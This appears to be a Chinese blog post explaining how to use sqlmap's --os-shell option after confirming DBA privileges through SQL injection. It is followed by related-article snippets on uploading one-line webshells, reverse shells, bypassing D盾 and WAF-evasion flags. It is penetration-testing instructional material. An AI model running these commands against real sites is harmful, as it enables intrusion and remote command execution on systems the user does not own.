sqlmap的--os-shell玩法

最新推荐文章于 2025-10-29 16:49:00 发布
原创 最新推荐文章于 2025-10-29 16:49:00 发布 · 1.3w 阅读 · 4 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#sqlmap #--os-shell

本文介绍如何通过SQLMap工具探测网站是否存在SQL注入漏洞，并利用这些漏洞获取数据库管理员权限。文章详细展示了使用SQLMap的命令行参数进行漏洞验证和利用的具体步骤。

首先找到注入点 证明存在注入漏洞

然后使用命令

sqlmap.py -r D:\1.txt -p username --random-agent --is-dba

看看是不是dba

这里不是dba所以不能使用--os-shell命令

如果是的话

例如

python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell

便可直接执行命令

 

PwnTheBox(web篇)简单题
飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘
04-26 3221
PwnTheBox(web篇)简单题 第一页 exec1 hackergame2019-签到题 网页读取器 管理员本地访问 下载下载 快速计算 该网站已经被黑 PwnTheBox 百度网盘分享链接 Get Post 睿智题目 一道很奇怪的题目 奇葩的题目 验证码 XSS 达拉崩吧大冒险 atchap php是世界上最好的语言 exec2 第二页 Twice SQL Injection 猫咪银行 黑曜石浏览器 信息安全
sqlmap之--os-shell
热门推荐
qq_45927819的博客
03-26 1万+
1、–os-shell原理 使用udf提权获取webshell，也是通过into outfile向服务器写入两个文件，一个是可以直接执行系统命令，一个是进行上传文件。 –os-shell的执行条件： dbms为mysql，网站必须是root权限 攻击者需要知道网站的绝对路径 magic_quotes_gpc = off，php主动转移功能关闭 2、环境介绍 phpstudy+sqlmap 3、探测网站根目录 python3 sqlmap.py -u "127.0.0.1/sqli-labs-master
sqlmap的--os-shell
m0_71300782的博客
09-06 1239
一、首先对目标网站进行sqlmap扫描看看是否有sql漏洞。
sqlmap --os-shell 使用方法
m0_50818626的博客
06-07 5131
可以看到最下方有文件上传的位置，在这里我们可以上传一句话木马。如上图所示，红框处很明显是一个传参点，我们就在这个页面抓包。总结：sqlmap -os-shell 的使用需要以下条件。抓到包之后将内容保存到桌面的1000.txt文件下。--os-shell：本质就是写入两个php文件。-dbms=mysql：指定跑mysql数据库。我们获得了两个url，我们访问第一个url。这里我们先选择4，因为网站是php代码写的。三、上传一句话木马，连接蚁剑。上图就是一句话木马的内容。二、sqlmap跑包。
SQL语言入门（非常详细）零基础入门到精通，收藏这一篇就够了
最新发布
网络安全圈
10-29 1712
一、SQL 概述1、什么是 SQLSQL 指结构化查询语言，全称是 Structured Query Language。SQL 让您可以访问和处理数据库，包括数据插入、查询、更新和删除。SQL 在1986年成为 ANSI（American National Standards Institute 美国国家标准化组织）的一项标准，在 1987 年成为国际标准化组织（ISO）标准。2、SQL语言的版本历史。
sqlmap --os-shell选项原理解析
来日可期的博客
10-18 2745
sqlmap的--os-shell在mysql数据库中的原理，是往服务器上写入了两个php，其中一个提供了文件上传的页面，可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行，命令行也可以在网页url中通过对cmd参数传参执行系统命令。
sqlmap 如何 --os-shell 及反弹shell_sqlmap跑shell
2301_77033340的博客
04-12 1330
厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新**
DVWA(linux下)利用sqlmap进行--os-shell注入不能成功的错误处理
Spwpun的博客
11-16 1万+
报错情况： 我在自己的kali linux虚拟机下面安装了DVWA渗透测试系统以便自己进行渗透测试的基础学习，在进行sqli(sql injection)-low级别的测试的时候，利用sqlmap进行注入，加上–os-shell参数获取shell(即系统下的命令行，windows下的cmd，linux下的terminal)，发现不能执行。 最后总是报这样的错，unable to uploa...
sqlmap全家桶：sqlmap，SqlmapXPlus，sqlmap-gui，sqlmap.exe中文版，SQLmap中文手册
2202_75361164的博客
02-05 1537
在众多的地区性攻防演练中，SQL Server数据库堆叠注入仍有较高的爆洞频率，但因为一些常见的演练场景限制，如不出网、低权限、站库分离、终端防护、上线困难、权限维持繁琐等，仅一个–os-shell已经难满足我们的需求。sqlmapxplus 基于sqlmap，对经典的数据库漏洞利用工具进行二开，参考各种解决方法，增加MSSQL数据库注入的利用方式。
攻防世界-web高手进阶区
zji
04-25 7319
文章目录攻防世界-web高手进阶区一、baby_web二、Training-WWW-Robots1.引入库2.读入数据总结 攻防世界-web高手进阶区 提示：这里是记录web的题目，这里我基本不讲很多细节，请自行下载Burpsuite，web使用的等等工具。 一、baby_web 非常的简单，bp抓包直接把1.php去掉后，就看的flag了。 二、Training-WWW-Robots 非常的简单，点网页进去后，看到了robots.txt进去看到一个可以看到他有一个不允许访问的文件f10g.php，在
渗透测试之利用sql拿shell（附完整流程）【全】
ai0070411的博客
03-09 1318
SQL注入的本质是。
渗透测试 ( 3 ) --- Metasploit Framework ( MSF )
墨鱼菜鸡
07-11 5189
白嫖 Metasploit Pro 2022：https://zhuanlan.zhihu.com/p/449836479 白嫖 Metasploit Pro 2022：http://t.zoukankan.com/hxlinux-p-15787814.html 好东西之 metasploit pro：https://www.52pojie.cn/thr...
sqlmap （--os-shell）的使用
weixin_45815516的博客
01-01 636
以pikachu靶场字符型sql注入为例演示sqlmap中的--os-shell的用法
SQL注入：为什么拿不到os-shell？
无名J0kзr的博客
10-08 2035
文章目录权限问题--file-read--file-write和--file-dest--os-shell 权限问题 首先确保注入点的数据库连接用户有FILE权限 使用 --privileges查看 但是 就算有此权限也还有很多问题 SELINUX 因为我的服务器使用的并不是Apache的默认发布目录 所以我把SELINUX禁掉了 按理来说 SELINUX也会对这些操作有影响 没试 先留坑 –fi...
sqlmap绕过d盾_记一次sqlmap --os-shell getshell过程的坑
weixin_39900830的博客
12-05 1149
目标站点输入帅比' or 'a'='a 并随意输入一个密码，提示密码错误，就不多bb了直接sqlmap一把梭。来坑了来坑了，这个位置的注入死活没跑出来，可能的原因：1.我太菜 √2.站点为https然而我没有在数据包里面添加:443 × 登录系统后发现整个系统都是注入，随便找了个其他地方开始了注入……在host后面添加:443 host后面没加:443之前就一直没跑出来，并且sq...
sqlmap (os-shell)
猎荒者
03-14 5898
Dancing with your ghost 环境准备 Kali（IP：10.10.16.128） win 7（IP：10.10.16.131）使用 phpstudy 搭建 sql 注入漏洞环境 NAT 网络连接 漏洞源码 查看源码可以得知这是一个数字型 SQL 注入 漏洞利用 直接在 Kali 中打开 Firefox 浏览器，访问。（这里在 phpstudy 的设置中，将 apach...
--os-shell在MySQL可运行环境
m0_56214376的博客
05-24 790
发现一个网站有SQL注入，用SQLmap --OS-shell 连接不上，查了点资料，记录一下。 先说说--os-shell,--os-shell就是在你注入点写入两个shell文件，一个用来执行命令，另外一个是网站访问可以上传文件。 我查了一下，在<=MySQL5.7的版本需要开启一下secure_file_priv 这个参数用来限制数据导入和导出操作的效果， 如果这个参数设为一个目录名，MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在，MySQL服务不会创...
sqlmap os-shell解析
weixin_50464560的博客
07-13 978
Background 最近遇到测试环境，最后利用sqlmap的–os-shell参数取得shell。一直以来，对这个参数的工作原理不是十分的清晰。大致的思想应该是将脚本插入到数据库中，然后生成相应的代码文件，获取shell即可执行命令 Environment 本环境是在局域网下利用两台主机搭建的，环境比较真实。 攻击机： 系统：windows7 工具：sqlmap 靶机： 系统：windows7 环境：wamp搭建的apache、mysql和php 网页源码：phpmywind，此处修改了点源代码，方便进行
sqlmap 如何 --os-shell 及反弹shell
weixin_63580357的博客
10-17 1871
从上面结果可以看出已经成功反弹 shell，不过这个 shell 操作起来不甚顺畅，可以在 Kali 生成反弹 shell 代码，借助上面生成的一个文件上传界面。就会通过上面这个php上传一个用于命令执行的tmpbylqf.php到网站路径下，让我们命令执行，并将输出的内容返回sqlmap端。来说，--os-shell的本质就是写入两个php文件，其中的tmpugvzq.php可以让我们上传文件到网站路径下。-o shell.php：指定生成的payload文件的名称为shell.php。
sqlmap --os-shell教程
03-16
### 关于 `sqlmap` 使用 `--os-shell` 参数的教程 #### 工具概述 `sqlmap` 是一款功能强大的自动化 SQL 注入渗透测试工具，能够检测并利用多种类型的 SQL 注入漏洞。除了基本的数据提取外，它还支持高级操作，比如通过 `--os-shell` 获取目标系统的命令执行权限。 --- #### `-d` 和 `--os-shell` 参数详解 1. **`-d` 参数的作用** `-d` 参数允许用户直接指定一个已经保存的目标配置文件路径或数据库连接字符串来启动扫描过程。这可以简化重复输入相同参数的过程[^1]。 2. **`--os-shell` 参数的功能** 当存在高危 SQL 注入漏洞时，`sqlmap` 能够尝试提升权限至操作系统层面，并提供交互式的 Shell 接口供攻击者使用。此接口可用于运行任意系统命令，前提是满足以下条件： - 数据库用户的权限足够高（通常是 root 或具有管理员权限）。 - 目标环境支持特定的操作模式（如堆栈调整、UDF 加载等）。[^3] --- #### 实际案例分析 以下是几个实际使用的场景及其对应的命令： 1. **基于请求文件的方式** 如果已有一个包含 HTTP 请求包的 `.txt` 文件，则可以通过如下方式调用 `sqlmap` 并启用 `--os-shell` 功能： ```bash python sqlmap.py -r /path/to/request.txt --dbms=mysql --os-shell ``` 这里 `-r` 表示读取请求文件的内容作为输入源；`--dbms=mysql` 明确指定了目标数据库类型为 MySQL[^2]。 2. **基于 URL 的方式** 若知道具体的注入点 URL 地址，可以直接将其传递给程序： ```bash sqlmap -u "http://example.com/vuln?id=1" --is-dba --os-shell ``` 上述例子中，`--is-dba` 用来验证当前登录账户是否具备 DBA 权限，这是成功开启 OS Shell 的前提之一。 3. **结合其他选项增强效果** 对某些复杂情况可能还需要额外设置一些辅助开关，例如绕过 WAF 防护机制或者优化性能表现等等。下面展示了一个综合运用多个参数的例子： ```bash sqlmap -u "http://target.site/page.php?param=value" \ --random-agent \ --level=5 \ --risk=3 \ --technique=BETUQ \ --os-shell ``` --- #### 技术原理剖析 当触发 `--os-shell` 后，`sqlmap` 内部会经历以下几个阶段完成最终目的： 1. 自动探测适合的方法实现远程代码执行； 2. 构建临时存储空间存放必要的脚本组件； 3. 利用这些资源加载自定义函数到内存当中去； 4. 提供给前端图形化界面让用户自由下达各种指令直至结束整个流程为止[^4]。 需要注意的是，在真实环境中应用此类技术务必获得合法授权以免触犯法律！ --- ```python import os command = input("Enter your command: ") result = os.popen(command).read() print(result) ``` 上述 Python 小片段展示了如何简单地接收用户输入并在本地终端上回显结果，类似于 `sqlmap` 执行后的行为模拟版本。 ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值